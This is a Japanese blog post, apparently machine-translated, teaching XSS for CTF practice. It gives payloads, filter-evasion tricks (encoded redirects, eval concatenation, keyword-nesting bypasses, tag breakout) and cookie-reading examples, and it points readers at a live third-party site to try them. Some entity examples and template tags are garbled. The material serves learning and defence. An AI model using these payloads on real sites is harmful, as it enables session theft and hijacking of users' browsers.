Lolik

not404

nothing
x
bilibili
github
telegram

ctf-XSS

XSS#

  1. XSS とは?
    クロスサイトスクリプティング(Cross Site Scripting)は、カスケーディングスタイルシート(Cascading Style Sheets、CSS)の略語と混同しないため、クロスサイトスクリプティングを XSS と略します。悪意のある攻撃者は、WEB ページに悪意のある HTML コードを挿入し、ユーザーがそのページを閲覧すると、HTML コードが実行され、ユーザーに対する悪意のある攻撃の特定の目的が達成されます。

  2. XSS の危険性
    document.cookie を使用してクッキーの情報を盗む
    JavaScript や CSS を使用してページの正常な構造とスタイルを破壊する
    トラフィックハイジャック(window.location.href を使用して他のページにリダイレクトするなど)

XSS 攻撃#

リフレクティブ:

  • 攻撃者は事前に悪意のあるリンクを作成し、ユーザーがクリックするように誘導します。例えば、次のようなリンク:url+?params=<script>alert("XSS攻撃")</script>
  • ユーザーとのインタラクションが発生する場所で発生します。例えば、入力フィールド
  • 試してみる、ウェブサイト:http://dm.unrun.top/classkey.php?page=1&classkey=

classkey パラメータは 1 つのパラメータを受け入れます

検索ボックスに <script>alert("XSS攻撃")</script> を入力して送信

vboT1

JavaScript コードが実行され、classkey.php はユーザーの入力を処理せずに直接出力するため、これは XSS リフレクティブ脆弱性です。攻撃を実行し、ユーザーのcookieを盗むことができます。

JavaScript で cookie を取得するコード:alert (document.cookie

次に、<script>alert (document.cookie)</script> を入力してください。
ダイアログボックスが表示され、cookie が盗まれます。dm.unrun.topウェブサイトでは、私は cookie を設定していないため、空です。

これにより、事前に準備されたウェブサイトに対して JavaScript でメッセージを送信することさえできます。

関連する例

XSS でよく使用されるテストステートメント#

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

文字がフィルタリングされる場合#

スペースを / で置き換える

<img/src="x"/onerror=alert("XSS");>

中国語のピリオドを英語のコンマに置き換える
中国語のピリオドを入力すると、ブラウザは自動的に英語のコンマに変換します。

<img src="x" onerror="document.location=`http://www。baidu。com`">

URL エンコーディングを使用するURL デコードエンコード

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

// はhttp:// の代わりに使用できます

<img src="x" onerror=document.location=`//www.baidu.com`>

文字の連結による eval の利用

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

スタックバイパス#

script がフィルタリングされた場合

サーバーはこれらのキーワードを空に置き換えます

str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");

scr {% hint'script' 'script が空に置き換えられました ' %} ipt,o {% hint 'on' 'on が空に置き換えられました ' %} n,s {% hint'src' 'src が空に置き換えられました ' %} rc などの方法を使用します

タグのクローズバイパス#

ブラウザは、前のクローズされていないタグに最も近いマッチングタグを検索し、2 つのがある場合、後者は解析されません

<input type="text" value='<script>alert("XSS")</script>'>

前に'>を追加する、つまり'><script>alert("XSS")</script>

<input type="text" value=''><script>alert("XSS")</script>'>

仮プロトコルバイパス#

イベントトリガーが使用できない場合は、仮プロトコル、javascript /data : の後にコードを使用します
<object data=javascript:alert(1)>

<a href="javascript:alert(`xss`);">xss</a>

これにより、次のようにもできます

(alert)(1);	 alert(1);  alert`1`; 

URL 解析プロセス#

ブラウザのエンコード解析の順序:
URL 解析 ->HTML 解析 ->CSS 解析 ->JS 解析

  1. ブラウザが HTML ドキュメントを受け取ると、HTML パーサーが HTML ドキュメントをレキシカルに解析し、HTML デコードを完了し、DOM ツリーを作成します。
  2. 次に、JavaScript パーサーがインラインスクリプトを解析し、JS のデコードを完了します。
  3. ブラウザが URL のコンテキスト環境が必要な場合、URL パーサーも介入して URL のデコードを完了します。

URL パーサーのデコードの順序は、URL の位置によって異なるため、JavaScript パーサーの前または後に解析されます。

XSS エンコーディングの問題#

  1. HTML 文字エンティティ:
    HTML ページを表示する際に、特定の特殊文字(例:<や>)をそのまま使用すると、ブラウザはそれらをタグの開始または終了と誤解します。特殊文字を正しく HTML ページに表示するには、対応する文字エンティティを使用する必要があります。HTML 文字エンティティは、& で始まり、事前に定義されたエンティティ名で終わり、セミコロンで終わります。例えば、< のエンティティ名は < であり、& で始まる +# 記号と文字の 10 進数(または 16 進数)で表されます。例えば、< のエンティティコードは < です。
  2. JavaScript エンコーディング:最も一般的なのは、Unicode エスケープシーケンスである「\uXXXX」の形式です。これは 1 つの文字を表し、XXXX は 16 進数の数字です。例えば、< の Unicode エンコーディングは「\u003c」です。
  3. URL エンコーディング:% に続く文字の ASCII コードに対応する 2 桁の 16 進数です。例えば、/ の URL エンコーディングは %2f です。

よく使用されるエスケープ文字#

HTML オンラインエンコード変換

XSS 対策のため

文字エスケープ後の文字
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2F;

HackBar ツール#

HackBar のダウンロード:https://github.com/HCTYMFF/hackbar2.1.3

HackBar は、ブラウザ上のツールで、SQL インジェクション、XSS、暗号化などの一部の一般的なツールを備えています。

スクリーンショット

vKklU

位置:F12を押してタブバーの最右端を開く

URL エンコードの変換に便利です

右側の 3 つのボタン:URL をロード --URL を分割 -- 実行

POST 送信は、GET パラメータはアドレスバーに記述できますが、POST はツールを使用する必要があります。

関連資料#

XSS(クロスサイトスクリプティング)の詳細 --- 博客园

XSS 一般的なタグとバイパスの要点まとめ

XSS 探索のアイデア共有_XSS バイパスのアイデア ---csdn

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。